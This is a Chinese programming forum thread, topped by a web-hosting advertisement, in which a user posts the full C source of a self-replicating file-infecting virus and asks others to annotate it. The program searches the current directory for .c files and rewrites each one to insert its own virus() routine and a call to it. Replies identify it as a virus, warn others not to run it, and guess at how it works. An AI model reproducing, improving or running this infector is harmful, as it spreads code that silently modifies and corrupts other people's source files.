学习型 ASP/PHP/ASP.NET 主机 30元/年全能 ASP/PHP/ASP.NET 主机,支持月付专业 MSSQL 数据库空间,支持月付专业 MySQL 数据库空间,支持月付
 13 12
发新话题
打印

你能注释吗》

你能注释吗》

#include <stdio.h>  
#include <dir.h>  
void main(void)  
{  
virus();  
}  
int virus()  
{  
struct ffblk ffblk;  
FILE *in,*out,*read;  
char *virus="virus.c";  
char buf[50][80];  
char *p;  
char *end="return";  
char *bracket="}";  
char *main="main";  
char *include[2]={"stdio.h","dir.h"};  
char *int_virus="int virus()";  
char *buffer;  
int done,i,j=0,flag=0;  
printf("\nI have a virus. Writen by PuBin\n");  
done = findfirst("*.c",&ffblk,0);  
while (!done)  
{  
i=0;  
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)  
{  
goto next;  
}  
do{  
    if(i>=50)  
    {  
fclose(in);  
goto next;  
    }  
    p=fgets(buf[i],80,in);  
    i++;  
   }while(p!=NULL);  
   fclose(in);  
   out=fopen(ffblk.ff_name,"w+t");  
   fputs("#include<stdio.h>\n",out);  
   fputs("#include<dir.h>\n",out);  
do  
{  
  if(strstr(buf[j],main)!=NULL)  
  {  
   for(;j<i-1;j++)  
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)  
   fputs(buf[j],out);  
   else  
   {  
    if(flag==0)  
    {  
flag=1;  
fputs("virus();\n",out);  
    }  
    fputs(buf[j],out);  
   }  
}  
else if((strstr(buf[j],include[0])==NULL)  
&&(strstr(buf[j],include[1])==NULL))  
{  
fputs(buf[j],out);  
j++;  
}  
else  
j++;  
}while(j<i-1);  
read=fopen(virus,"rt");  
do  
{  
p=fgets(buffer,80,read);  
if(strstr(buffer,int_virus))  
while(p!=NULL)  
{  
  if(strstr(buffer,virus)==NULL)  
  fputs(buffer,out);  
  else  
  {  
                fputs(" char *virus=\"",out);  
fputs(ffblk.ff_name,out);  
        fputs("\";\n",out);  
}  
p=fgets(buffer,80,read);  
}  
}while(p!=NULL);  

fclose(read);  
fclose(out);  
      printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);  
next: done = findnext(&ffblk);  
}  
return 0;  
}

TOP

你不会是从拿搞来的病毒吧?没仔细看..哦恨写病毒的...我机器中毒了...资料都没了..还有和别人说下..不要运行.要不会中毒的

[ 本帖最后由 sunkaidong 于 2008-5-6 23:17 编辑 ]
学习需要安静。。海盗要重新来过。。

TOP

。。

是病毒。怎么了?
<接受者>? or <创造者>?

TOP

研究下,没叫你做坏事
<接受者>? or <创造者>?

TOP

没那么严重吧
对不起了 大家,赶快删除这个帖子吧  管理员
<接受者>? or <创造者>?

TOP

virus();  
主函数已经明说是病毒了。。。
“视频教程网”免费提供教学资源
C不限制你的自由!
条件是自己承担滥用自由的恶果!

TOP

virus()  解释下.
<接受者>? or <创造者>?

TOP

病毒。。。
“视频教程网”免费提供教学资源
C不限制你的自由!
条件是自己承担滥用自由的恶果!

TOP

...这个病毒是实现自我复制..从而占用大量系统内存?
<接受者>? or <创造者>?

TOP

干嘛要删呢,看看也不错,明天看,今天太累了
雁无留踪之意,水无取影之心

TOP

 13 12
发新话题